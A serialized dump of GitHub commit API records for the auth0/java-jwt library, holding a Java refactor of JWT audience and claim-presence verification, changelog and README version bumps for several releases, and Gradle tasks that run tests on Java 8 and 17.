+                    return true;
+                }
+                if (!assertValidAudienceClaim(decodedJWT.getAudience(), value, true)) {
+                    throw new IncorrectClaimException("The Claim 'aud' value doesn't contain the required audience.",
+                            PublicClaims.AUDIENCE, claim);
+                }
+                return true;
+            }));
             return this;
         }
 
         @Override
         public Verification withAnyOfAudience(String... audience) {
             List<String> value = isNullOrEmpty(audience) ? null : Arrays.asList(audience);
-            addCheck(PublicClaims.AUDIENCE, ((claim, decodedJWT) -> verifyNull(claim, value)
-                    || assertValidAudienceClaim(claim, decodedJWT.getAudience(), value, false)));
+            addCheck(PublicClaims.AUDIENCE, ((claim, decodedJWT) -> {
+                if (verifyNull(claim, value)) {
+                    return true;
+                }
+                if (!assertValidAudienceClaim(decodedJWT.getAudience(), value, false)) {
+                    throw new IncorrectClaimException("The Claim 'aud' value doesn't contain the required audience.",
+                            PublicClaims.AUDIENCE, claim);
+                }
+                return true;
+            }));
             return this;
         }
 
@@ -151,7 +167,8 @@ public Verification withJWTId(String jwtId) {
         @Override
         public Verification withClaimPresence(String name) throws IllegalArgumentException {
             assertNonNull(name);
-            withClaim(name, ((claim, decodedJWT) -> assertClaimPresence(name, claim)));
+            //since addCheck already checks presence, we just return true
+            withClaim(name, ((claim, decodedJWT) -> true));
             return this;
         }
 
@@ -344,24 +361,12 @@ private boolean assertInstantIsPast(Instant claimVal, long leeway, Instant now)
         }
 
         private boolean assertValidAudienceClaim(
-                Claim claim,
                 List<String> audience,
                 List<String> values,
                 boolean shouldContainAll
         ) {
-            if (audience == null || (shouldContainAll && !audience.containsAll(values))
-                    || (!shouldContainAll && Collections.disjoint(audience, values))) {
-                throw new IncorrectClaimException(
-                        "The Claim 'aud' value doesn't contain the required audience.", PublicClaims.AUDIENCE, claim);
-            }
-            return true;
-        }
-
-        private boolean assertClaimPresence(String name, Claim claim) {
-            if (claim.isMissing()) {
-                throw new MissingClaimException(name);
-            }
-            return true;
+            return !(audience == null || (shouldContainAll && !audience.containsAll(values))
+                    || (!shouldContainAll && Collections.disjoint(audience, values)));
         }
 
         private void assertPositive(long leeway) {
@@ -377,8 +382,12 @@ private void assertNonNull(String name) {
         }
 
         private void addCheck(String name, BiPredicate<Claim, DecodedJWT> predicate) {
-            expectedChecks.add(constructExpectedCheck(name, (claim, decodedJWT) -> assertClaimPresence(name, claim)
-                    && predicate.test(claim, decodedJWT)));
+            expectedChecks.add(constructExpectedCheck(name, (claim, decodedJWT) -> {
+                if (claim.isMissing()) {
+                    throw new MissingClaimException(name);
+                }
+                return predicate.test(claim, decodedJWT);
+            }));
         }
 
         private ExpectedCheckHolder constructExpectedCheck(String claimName, BiPredicate<Claim, DecodedJWT> check) {uau(24fa7c6451a941f0bd2ead4af262839f48264636}(sha(24fa7c6451a941f0bd2ead4af262839f48264636node_idEC_kwDOAQtL0doAKDI0ZmE3YzY0NTFhOTQxZjBiZDJlYWQ0YWYyNjI4MzlmNDgyNjQ2MzYcommit}(author}(nameJames Andersonemailjim.anderson@auth0.comdate2022-01-13T14:16:50Zu	committer}(j  James Andersonj  jim.anderson@auth0.comj  2022-01-13T14:16:50ZumessageRelease 3.18.3tree}(j}  (556e8071f7c9f57eae0dab6df0b78c9be2603f05url^https://api.github.com/repos/auth0/java-jwt/git/trees/556e8071f7c9f57eae0dab6df0b78c9be2603f05uj  `https://api.github.com/repos/auth0/java-jwt/git/commits/24fa7c6451a941f0bd2ead4af262839f48264636
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj  \https://api.github.com/repos/auth0/java-jwt/commits/24fa7c6451a941f0bd2ead4af262839f48264636html_urlQhttps://github.com/auth0/java-jwt/commit/24fa7c6451a941f0bd2ead4af262839f48264636comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/24fa7c6451a941f0bd2ead4af262839f48264636/commentsj  }(login
jimmyjamesidJ7 j  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j  'https://api.github.com/users/jimmyjamesj  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj  }(j  
jimmyjamesj  J7 j  MDQ6VXNlcjI3NjIyNQ==j  2https://avatars.githubusercontent.com/u/276225?v=4j  h3j  'https://api.github.com/users/jimmyjamesj  https://github.com/jimmyjamesj  1https://api.github.com/users/jimmyjames/followersj  >https://api.github.com/users/jimmyjames/following{/other_user}j  7https://api.github.com/users/jimmyjames/gists{/gist_id}j  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}j  5https://api.github.com/users/jimmyjames/subscriptionsj  ,https://api.github.com/users/jimmyjames/orgsj  -https://api.github.com/users/jimmyjames/reposj  8https://api.github.com/users/jimmyjames/events{/privacy}j  7https://api.github.com/users/jimmyjames/received_eventsj  Userj  uparents]}(j}  (724cae8618bc83497ce2757769461fb8675b1c98j  \https://api.github.com/repos/auth0/java-jwt/commits/724cae8618bc83497ce2757769461fb8675b1c98j  Qhttps://github.com/auth0/java-jwt/commit/724cae8618bc83497ce2757769461fb8675b1c98uastats}(totalK
	additionsK	deletionsKufiles](}(j}  (0b8231d4b50e10947c59d124ba9ddd5c2f2732b7filenameCHANGELOG.mdstatusmodifiedj  Kj  K changesKblob_url\https://github.com/auth0/java-jwt/blob/24fa7c6451a941f0bd2ead4af262839f48264636/CHANGELOG.mdraw_url[https://github.com/auth0/java-jwt/raw/24fa7c6451a941f0bd2ead4af262839f48264636/CHANGELOG.mdcontents_urlnhttps://api.github.com/repos/auth0/java-jwt/contents/CHANGELOG.md?ref=24fa7c6451a941f0bd2ead4af262839f48264636patchX  @@ -1,5 +1,11 @@
 # Change Log
 
+## [3.18.3](https://github.com/auth0/java-jwt/tree/3.18.3) (2022-01-13)
+[Full Changelog](https://github.com/auth0/java-jwt/compare/3.18.2...3.18.3)
+
+**Security**
+- Update jackson dependency [\#523](https://github.com/auth0/java-jwt/pull/523) ([poovamraj](https://github.com/poovamraj))
+
 ## [3.18.2](https://github.com/auth0/java-jwt/tree/3.18.2) (2021-09-16)
 [Full Changelog](https://github.com/auth0/java-jwt/compare/3.18.1...3.18.2)
 u}(j}  (8f6ba41c5ab75072dfb44680f1a35fb35a4fe281j  	README.mdj  modifiedj  Kj  Kj  Kj  Yhttps://github.com/auth0/java-jwt/blob/24fa7c6451a941f0bd2ead4af262839f48264636/README.mdj  Xhttps://github.com/auth0/java-jwt/raw/24fa7c6451a941f0bd2ead4af262839f48264636/README.mdj  khttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=24fa7c6451a941f0bd2ead4af262839f48264636j  X  @@ -23,14 +23,14 @@ The library is available on both Maven Central and Bintray, and the Javadoc is p
 <dependency>
     <groupId>com.auth0</groupId>
     <artifactId>java-jwt</artifactId>
-    <version>3.18.2</version>
+    <version>3.18.3</version>
 </dependency>
 ```
 
 ### Gradle
 
 ```gradle
-implementation 'com.auth0:java-jwt:3.18.2'
+implementation 'com.auth0:java-jwt:3.18.3'
 ```
 
 ## Available Algorithmsueu(58c92a8beed21ded89325c0fa5c7b80c9d2458be}(sha(58c92a8beed21ded89325c0fa5c7b80c9d2458benode_idEC_kwDOAQtL0doAKDU4YzkyYThiZWVkMjFkZWQ4OTMyNWMwZmE1YzdiODBjOWQyNDU4YmUcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-03-07T16:30:51Zu	committer}(j  
Poovamraj T Tj  poovamraj@gmail.comj  2022-03-16T11:28:53ZumessageX  Testing Java LTS versions (#536)

* Added Gradle Tasks to run tests on Java LTS versions

* Ignore secp256k1 curve tests

* Removing ignore for tests and checking the CI failure

* Exclude secp256k1 Tests for Java 17

* Remove unwanted "ignore" importstree}(j  (d58d5818244fff74b20e6d1c4aa474e0987c4e5eurl^https://api.github.com/repos/auth0/java-jwt/git/trees/d58d5818244fff74b20e6d1c4aa474e0987c4e5euj  `https://api.github.com/repos/auth0/java-jwt/git/commits/58c92a8beed21ded89325c0fa5c7b80c9d2458be
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj  \https://api.github.com/repos/auth0/java-jwt/commits/58c92a8beed21ded89325c0fa5c7b80c9d2458behtml_urlQhttps://github.com/auth0/java-jwt/commit/58c92a8beed21ded89325c0fa5c7b80c9d2458becomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/58c92a8beed21ded89325c0fa5c7b80c9d2458be/commentsj   }(login	poovamrajidJ j  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j  &https://api.github.com/users/poovamrajj  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj  }(j#  	poovamrajj%  J j  MDQ6VXNlcjE1OTEwNDI1j'  4https://avatars.githubusercontent.com/u/15910425?v=4j)  h3j  &https://api.github.com/users/poovamrajj  https://github.com/poovamrajj,  0https://api.github.com/users/poovamraj/followersj.  =https://api.github.com/users/poovamraj/following{/other_user}j0  6https://api.github.com/users/poovamraj/gists{/gist_id}j2  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}j4  4https://api.github.com/users/poovamraj/subscriptionsj6  +https://api.github.com/users/poovamraj/orgsj8  ,https://api.github.com/users/poovamraj/reposj:  7https://api.github.com/users/poovamraj/events{/privacy}j<  6https://api.github.com/users/poovamraj/received_eventsj>  Userj@  uparents]}(j  (d855755a6523cb7d897d90c11f81f7e82acf6472j  \https://api.github.com/repos/auth0/java-jwt/commits/d855755a6523cb7d897d90c11f81f7e82acf6472j  Qhttps://github.com/auth0/java-jwt/commit/d855755a6523cb7d897d90c11f81f7e82acf6472uastats}(totalK.	additionsK.	deletionsK ufiles]}(j  (7c105d49310af0e5b271e9db44ae4104bd0f6d4cfilenamelib/build.gradlestatusmodifiedjZ  K.j[  K changesK.blob_urlbhttps://github.com/auth0/java-jwt/blob/58c92a8beed21ded89325c0fa5c7b80c9d2458be/lib%2Fbuild.gradleraw_urlahttps://github.com/auth0/java-jwt/raw/58c92a8beed21ded89325c0fa5c7b80c9d2458be/lib%2Fbuild.gradlecontents_urlthttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=58c92a8beed21ded89325c0fa5c7b80c9d2458bepatchX  @@ -55,6 +55,10 @@ dependencies {
     testImplementation 'org.mockito:mockito-core:2.18.3'
 }
 
+jacoco {
+    toolVersion = "0.8.7"
+}
+
 jacocoTestReport {
     reports {
         xml.enabled = true
@@ -87,6 +91,48 @@ task compileModuleInfoJava(type: JavaCompile) {
     }
 }
 
+compileTestJava {
+    options.compilerArgs = ['--release', "8"]
+}
+
+def testJava8 = tasks.register('testJava8', Test) {
+    description = 'Runs unit tests on Java 8.'
+    group = 'verification'
+
+    javaLauncher.set(javaToolchains.launcherFor {
+        languageVersion = JavaLanguageVersion.of(8)
+    })
+    shouldRunAfter(tasks.named('test'))
+}
+
+def testJava17 = tasks.register('testJava17', Test) {
+    description = 'Runs unit tests on Java 17.'
+    group = 'verification'
+
+    javaLauncher.set(javaToolchains.launcherFor {
+        languageVersion = JavaLanguageVersion.of(17)
+    })
+    shouldRunAfter(tasks.named('test'))
+
+    //Following Tests are excluded in Java 17 since secp256k1 curve is disabled Java 15+
+    filter {
+        excludeTestsMatching "*.jwt.ConcurrentVerifyTest.shouldPassECDSA256KVerificationWithJOSESignature"
+        excludeTestsMatching "*.jwt.JWTCreatorTest.shouldAddKeyIdIfAvailableFromECDSAKAlgorithms"
+        excludeTestsMatching "*.jwt.JWTCreatorTest.shouldNotOverwriteKeyIdIfAddedFromECDSAKAlgorithms"
+        excludeTestsMatching "*.jwt.JWTTest.shouldCreateAnEmptyECDSA256KSignedToken"
+        excludeTestsMatching "*.jwt.algorithms.ECDSAAlgorithmTest.shouldPassECDSA256KVerificationWithJOSESignature"
+        excludeTestsMatching "*.jwt.algorithms.ECDSAAlgorithmTest.shouldPassECDSA256KVerificationWithJOSESignatureWithBothKeys"
+        excludeTestsMatching "*.jwt.algorithms.ECDSAAlgorithmTest.shouldPassECDSA256KVerificationWithProvidedPublicKey"
+        excludeTestsMatching "*.jwt.ECDSABouncyCastleProviderTests.shouldPassECDSA256KVerificationWithJOSESignatureWithBothKeys"
+        excludeTestsMatching "*.jwt.ECDSABouncyCastleProviderTests.shouldPassECDSA256KVerificationWithProvidedPublicKey"
+    }
+}
+
+tasks.named('check') {
+    dependsOn(testJava8)
+    dependsOn(testJava17)
+}
+
 jar {
     manifest.attributes('Multi-Release': 'true')
 }uau(98e4e10dea690bf1dcbeded2c9bae55299513aae}(sha(98e4e10dea690bf1dcbeded2c9bae55299513aaenode_idEC_kwDOAQtL0doAKDk4ZTRlMTBkZWE2OTBiZjFkY2JlZGVkMmM5YmFlNTUyOTk1MTNhYWUcommit}(author}(nameJames Andersonemailjim.anderson@auth0.comdate2022-03-14T15:36:18Zu	committer}(jw  
Poovamraj T Tjy  poovamraj@gmail.comj{  2022-03-16T11:37:06ZumessageRelease 3.19.0tree}(jo  (e4e113be09a0fd71da5e9e0c62f6cc57f2100de6url^https://api.github.com/repos/auth0/java-jwt/git/trees/e4e113be09a0fd71da5e9e0c62f6cc57f2100de6uj  `https://api.github.com/repos/auth0/java-jwt/git/commits/98e4e10dea690bf1dcbeded2c9bae55299513aae
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj  \https://api.github.com/repos/auth0/java-jwt/commits/98e4e10dea690bf1dcbeded2c9bae55299513aaehtml_urlQhttps://github.com/auth0/java-jwt/commit/98e4e10dea690bf1dcbeded2c9bae55299513aaecomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/98e4e10dea690bf1dcbeded2c9bae55299513aae/commentsju  }(login
jimmyjamesidJ7 jq  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j  'https://api.github.com/users/jimmyjamesj  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj}  }(j  	poovamrajj  J jq  MDQ6VXNlcjE1OTEwNDI1j  4https://avatars.githubusercontent.com/u/15910425?v=4j  h3j  &https://api.github.com/users/poovamrajj  https://github.com/poovamrajj  0https://api.github.com/users/poovamraj/followersj  =https://api.github.com/users/poovamraj/following{/other_user}j  6https://api.github.com/users/poovamraj/gists{/gist_id}j  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}j  4https://api.github.com/users/poovamraj/subscriptionsj  +https://api.github.com/users/poovamraj/orgsj  ,https://api.github.com/users/poovamraj/reposj  7https://api.github.com/users/poovamraj/events{/privacy}j  6https://api.github.com/users/poovamraj/received_eventsj  Userj  uparents]}(jo  (c32b3114c647dd8753481b9de3a4232a5dc90bcbj  \https://api.github.com/repos/auth0/java-jwt/commits/c32b3114c647dd8753481b9de3a4232a5dc90bcbj  Qhttps://github.com/auth0/java-jwt/commit/c32b3114c647dd8753481b9de3a4232a5dc90bcbuastats}(totalK	additionsK	deletionsKufiles](}(jo  (84686b4b01b8efa5fc01dde25c8b63e9605ce727filenameCHANGELOG.mdstatusmodifiedj  Kj  K changesKblob_url\https://github.com/auth0/java-jwt/blob/98e4e10dea690bf1dcbeded2c9bae55299513aae/CHANGELOG.mdraw_url[https://github.com/auth0/java-jwt/raw/98e4e10dea690bf1dcbeded2c9bae55299513aae/CHANGELOG.mdcontents_urlnhttps://api.github.com/repos/auth0/java-jwt/contents/CHANGELOG.md?ref=98e4e10dea690bf1dcbeded2c9bae55299513aaepatchX  @@ -1,5 +1,17 @@
 # Change Log
 
+## [3.19.0](https://github.com/auth0/java-jwt/tree/3.19.0) (2022-03-14)
+[Full Changelog](https://github.com/auth0/java-jwt/compare/3.18.3...3.19.0)
+
+**Deprecated**
+- Deprecate ES256K Algorithm [\#543](https://github.com/auth0/java-jwt/pull/543) ([poovamraj](https://github.com/poovamraj))
+
+**Fixed**
+- fix typos in JWTVerifier#verify docstring [\#526](https://github.com/auth0/java-jwt/pull/526) ([OdunlamiZO](https://github.com/OdunlamiZO))
+
+**Security**
+- Bump `jackson-databind` dependency to 2.13.2 [\#542](https://github.com/auth0/java-jwt/pull/542) ([evansims](https://github.com/evansims))
+
 ## [3.18.3](https://github.com/auth0/java-jwt/tree/3.18.3) (2022-01-13)
 [Full Changelog](https://github.com/auth0/java-jwt/compare/3.18.2...3.18.3)
 u}(jo  (0f847ccabe32ccfb0d0b925ebe5214f8f3908851j  	README.mdj  modifiedj  Kj  Kj  Kj  Yhttps://github.com/auth0/java-jwt/blob/98e4e10dea690bf1dcbeded2c9bae55299513aae/README.mdj  Xhttps://github.com/auth0/java-jwt/raw/98e4e10dea690bf1dcbeded2c9bae55299513aae/README.mdj  khttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=98e4e10dea690bf1dcbeded2c9bae55299513aaej  X  @@ -23,14 +23,14 @@ The library is available on both Maven Central and Bintray, and the Javadoc is p
 <dependency>
     <groupId>com.auth0</groupId>
     <artifactId>java-jwt</artifactId>
-    <version>3.18.3</version>
+    <version>3.19.0</version>
 </dependency>
 ```
 
 ### Gradle
 
 ```gradle
-implementation 'com.auth0:java-jwt:3.18.3'
+implementation 'com.auth0:java-jwt:3.19.0'
 ```
 
 ## Available Algorithmsueu(b8d326a14250af3d18a432a457f2ab490c235004}(sha(b8d326a14250af3d18a432a457f2ab490c235004node_idEC_kwDOAQtL0doAKGI4ZDMyNmExNDI1MGFmM2QxOGE0MzJhNDU3ZjJhYjQ5MGMyMzUwMDQcommit}(author}(nameJim Andersonemailjimranderson@gmail.comdate2022-10-19T22:46:54Zu	committer}(j  Jim Andersonj  jimranderson@gmail.comj  2022-10-19T22:46:54Zumessage5Fix .shiprc build.gradle version substitution patterntree}(j  (2cb2a213ead3a5203b93daa4a825a74e5f036d66url^https://api.github.com/repos/auth0/java-jwt/git/trees/2cb2a213ead3a5203b93daa4a825a74e5f036d66uj  `https://api.github.com/repos/auth0/java-jwt/git/commits/b8d326a14250af3d18a432a457f2ab490c235004
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj  \https://api.github.com/repos/auth0/java-jwt/commits/b8d326a14250af3d18a432a457f2ab490c235004html_urlQhttps://github.com/auth0/java-jwt/commit/b8d326a14250af3d18a432a457f2ab490c235004comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/b8d326a14250af3d18a432a457f2ab490c235004/commentsj  }(login
jimmyjamesidJ7 j  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j  'https://api.github.com/users/jimmyjamesj  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj  }(j  
jimmyjamesj  J7 j  MDQ6VXNlcjI3NjIyNQ==j  2https://avatars.githubusercontent.com/u/276225?v=4j  h3j  'https://api.github.com/users/jimmyjamesj  https://github.com/jimmyjamesj  1https://api.github.com/users/jimmyjames/followersj   >https://api.github.com/users/jimmyjames/following{/other_user}j"  7https://api.github.com/users/jimmyjames/gists{/gist_id}j$  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}j&  5https://api.github.com/users/jimmyjames/subscriptionsj(  ,https://api.github.com/users/jimmyjames/orgsj*  -https://api.github.com/users/jimmyjames/reposj,  8https://api.github.com/users/jimmyjames/events{/privacy}j.  7https://api.github.com/users/jimmyjames/received_eventsj0  Userj2  uparents]}(j  (49c5def67ab2d37aa98f210bec2ca5ea39889d8cj  \https://api.github.com/repos/auth0/java-jwt/commits/49c5def67ab2d37aa98f210bec2ca5ea39889d8cj  Qhttps://github.com/auth0/java-jwt/commit/49c5def67ab2d37aa98f210bec2ca5ea39889d8cuastats}(totalK	additionsK	deletionsKufiles]}(j  (33902fc194a3bb87467db11a0b56afb1aff296e4filename.shiprcstatusmodifiedjL  KjM  KchangesKblob_urlWhttps://github.com/auth0/java-jwt/blob/b8d326a14250af3d18a432a457f2ab490c235004/.shiprcraw_urlVhttps://github.com/auth0/java-jwt/raw/b8d326a14250af3d18a432a457f2ab490c235004/.shiprccontents_urlihttps://api.github.com/repos/auth0/java-jwt/contents/.shiprc?ref=b8d326a14250af3d18a432a457f2ab490c235004patchX  @@ -1,7 +1,7 @@
 {
   "files": {
     "README.md": [],
-    "lib/build.gradle": ["version[[:blank:]]*=[[:blank:]]*{MAJOR}.{MINOR}.{PATCH}"]
+    "lib/build.gradle": ['version = "{MAJOR}.{MINOR}.{PATCH}"']
   },
   "prefixVersion": false
 }
\ No newline at end of fileuau(fe9c137e0d797eb9f58c7d5456779425a45d6d6a}(sha(fe9c137e0d797eb9f58c7d5456779425a45d6d6anode_idEC_kwDOAQtL0doAKGZlOWMxMzdlMGQ3OTdlYjlmNThjN2Q1NDU2Nzc5NDI1YTQ1ZDZkNmEcommit}(author}(namenoetroemailnoel.trout@avinode.comdate2022-10-25T13:00:11Zu	committer}(ji  GitHubjk  noreply@github.comjm  2022-10-25T13:00:11Zumessage!Merge branch 'master' into mastertree}(ja  (ffd0a53beae9caf2ac6e1a366900f07bd8861593url^https://api.github.com/repos/auth0/java-jwt/git/trees/ffd0a53beae9caf2ac6e1a366900f07bd8861593ujy  `https://api.github.com/repos/auth0/java-jwt/git/commits/fe9c137e0d797eb9f58c7d5456779425a45d6d6a
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjV93bCRBK7hj4Ov3rIwAArNEIAFqTXDLbTGKmTff9avB2Q+aI
Rrx+iWd9+MZ3rJY/WIuj11gIV9xQ5gr7ySQq2oCWIlaIz9Q3rl0uywY3m356u2I/
REXXq+4edH2xT5C2NTbBQqTNbdpyMXktxJocRdRE88iy5RC2l9oIb1Y8ZZkzDNjv
2j4RoEzi7rgj7mm42DHZk2dV5cupUIGog7/MCxTx/CNaO7DE2dRYMjayJnpKiPKw
mi4KNlGx7BGLwDaviKw+q8VzdaOHfZ21LPm1q6X94Ol6A+4jS7qywdNPHsioIXrI
KJktVjK1cRBXQI6fBHLyitJCBifOmYbqqRpgtWFucmZO9A4tVCVub0Zwuxa7K/o=
=YcJd
-----END PGP SIGNATURE-----
payloadX  tree ffd0a53beae9caf2ac6e1a366900f07bd8861593
parent 9d017c67fc16b7fd3abb151314f006e90c2ba0b2
parent 1e38286a52936d7ccdae3f457369389ad7474b7a
author noetro <noel.trout@avinode.com> 1666702811 +0200
committer GitHub <noreply@github.com> 1666702811 +0200

Merge branch 'master' into masteruujy  \https://api.github.com/repos/auth0/java-jwt/commits/fe9c137e0d797eb9f58c7d5456779425a45d6d6ahtml_urlQhttps://github.com/auth0/java-jwt/commit/fe9c137e0d797eb9f58c7d5456779425a45d6d6acomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/fe9c137e0d797eb9f58c7d5456779425a45d6d6a/commentsjg  }(loginnoetroidJOP&jc  MDQ6VXNlcjE5Mjg4MTQz
avatar_url4https://avatars.githubusercontent.com/u/19288143?v=4gravatar_idh3jy  #https://api.github.com/users/noetroj  https://github.com/noetro
followers_url-https://api.github.com/users/noetro/followers
following_url:https://api.github.com/users/noetro/following{/other_user}	gists_url3https://api.github.com/users/noetro/gists{/gist_id}starred_url:https://api.github.com/users/noetro/starred{/owner}{/repo}subscriptions_url1https://api.github.com/users/noetro/subscriptionsorganizations_url(https://api.github.com/users/noetro/orgs	repos_url)https://api.github.com/users/noetro/repos
events_url4https://api.github.com/users/noetro/events{/privacy}received_events_url3https://api.github.com/users/noetro/received_eventstypeUser
site_adminujo  }(j  web-flowj  J/jc  MDQ6VXNlcjE5ODY0NDQ3j  4https://avatars.githubusercontent.com/u/19864447?v=4j  h3jy  %https://api.github.com/users/web-flowj  https://github.com/web-flowj  /https://api.github.com/users/web-flow/followersj  <https://api.github.com/users/web-flow/following{/other_user}j  5https://api.github.com/users/web-flow/gists{/gist_id}j  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j  3https://api.github.com/users/web-flow/subscriptionsj  *https://api.github.com/users/web-flow/orgsj  +https://api.github.com/users/web-flow/reposj  6https://api.github.com/users/web-flow/events{/privacy}j  5https://api.github.com/users/web-flow/received_eventsj  Userj  uparents](}(ja  (9d017c67fc16b7fd3abb151314f006e90c2ba0b2jy  \https://api.github.com/repos/auth0/java-jwt/commits/9d017c67fc16b7fd3abb151314f006e90c2ba0b2j  Qhttps://github.com/auth0/java-jwt/commit/9d017c67fc16b7fd3abb151314f006e90c2ba0b2u}(ja  (1e38286a52936d7ccdae3f457369389ad7474b7ajy  \https://api.github.com/repos/auth0/java-jwt/commits/1e38286a52936d7ccdae3f457369389ad7474b7aj  Qhttps://github.com/auth0/java-jwt/commit/1e38286a52936d7ccdae3f457369389ad7474b7auestats}(totalK
	additionsK
	deletionsKufiles](}(ja  (ed3706dc294ee25e8eb7f64328bff099ac3f864afilenameCHANGELOG.mdstatusmodifiedj  Kj  K changesKblob_url\https://github.com/auth0/java-jwt/blob/fe9c137e0d797eb9f58c7d5456779425a45d6d6a/CHANGELOG.mdraw_url[https://github.com/auth0/java-jwt/raw/fe9c137e0d797eb9f58c7d5456779425a45d6d6a/CHANGELOG.mdcontents_urlnhttps://api.github.com/repos/auth0/java-jwt/contents/CHANGELOG.md?ref=fe9c137e0d797eb9f58c7d5456779425a45d6d6apatchXq  @@ -1,5 +1,12 @@
 # Change Log
 
+## [4.2.1](https://github.com/auth0/java-jwt/tree/4.2.1) (2022-10-24)
+[Full Changelog](https://github.com/auth0/java-jwt/compare/4.2.0...4.2.1)
+
+**Security**
+- Use latest ship orb [\#634](https://github.com/auth0/java-jwt/pull/634) ([jimmyjames](https://github.com/jimmyjames))
+- Bump `com.fasterxml.jackson.core:jackson-databind` to 2.13.4.2 [\#630](https://github.com/auth0/java-jwt/pull/630) ([evansims](https://github.com/evansims))
+
 ## [4.2.0](https://github.com/auth0/java-jwt/tree/4.2.0) (2022-10-19)
 [Full Changelog](https://github.com/auth0/java-jwt/compare/4.1.0...4.2.0)
 u}(ja  (bfa4345de0bd2828c652b257b3646a8a238ecff7j  	README.mdj  modifiedj  Kj  Kj  Kj  Yhttps://github.com/auth0/java-jwt/blob/fe9c137e0d797eb9f58c7d5456779425a45d6d6a/README.mdj  Xhttps://github.com/auth0/java-jwt/raw/fe9c137e0d797eb9f58c7d5456779425a45d6d6a/README.mdj  khttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=fe9c137e0d797eb9f58c7d5456779425a45d6d6aj  X  @@ -39,7 +39,7 @@ This library is supported for Java 8, 11, and 17. For issues on non-LTS versions
 ### Gradle
 
 ```gradle
-implementation 'com.auth0:java-jwt:4.2.0'
+implementation 'com.auth0:java-jwt:4.2.1'
 ```
 
 ### Maven
@@ -48,7 +48,7 @@ implementation 'com.auth0:java-jwt:4.2.0'
 <dependency>
     <groupId>com.auth0</groupId>
     <artifactId>java-jwt</artifactId>
-    <version>4.2.0</version>
+    <version>4.2.1</version>
 </dependency>
 ```
 u}(ja  (4c565b729b2ca814ae651365e4affb26337d2721j  lib/build.gradlej  modifiedj  Kj  Kj  Kj  bhttps://github.com/auth0/java-jwt/blob/fe9c137e0d797eb9f58c7d5456779425a45d6d6a/lib%2Fbuild.gradlej  ahttps://github.com/auth0/java-jwt/raw/fe9c137e0d797eb9f58c7d5456779425a45d6d6a/lib%2Fbuild.gradlej  thttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=fe9c137e0d797eb9f58c7d5456779425a45d6d6aj  \@@ -1,5 +1,5 @@
 buildscript {
-    version = "4.2.0"
+    version = "4.2.1"
 }
 
 plugins {ueu(8c3f5c78f14f2285134b28eb642d0e255dfb6bda}(sha(8c3f5c78f14f2285134b28eb642d0e255dfb6bdanode_idEC_kwDOAQtL0doAKDhjM2Y1Yzc4ZjE0ZjIyODUxMzRiMjhlYjY0MmQwZTI1NWRmYjZiZGEcommit}(author}(name
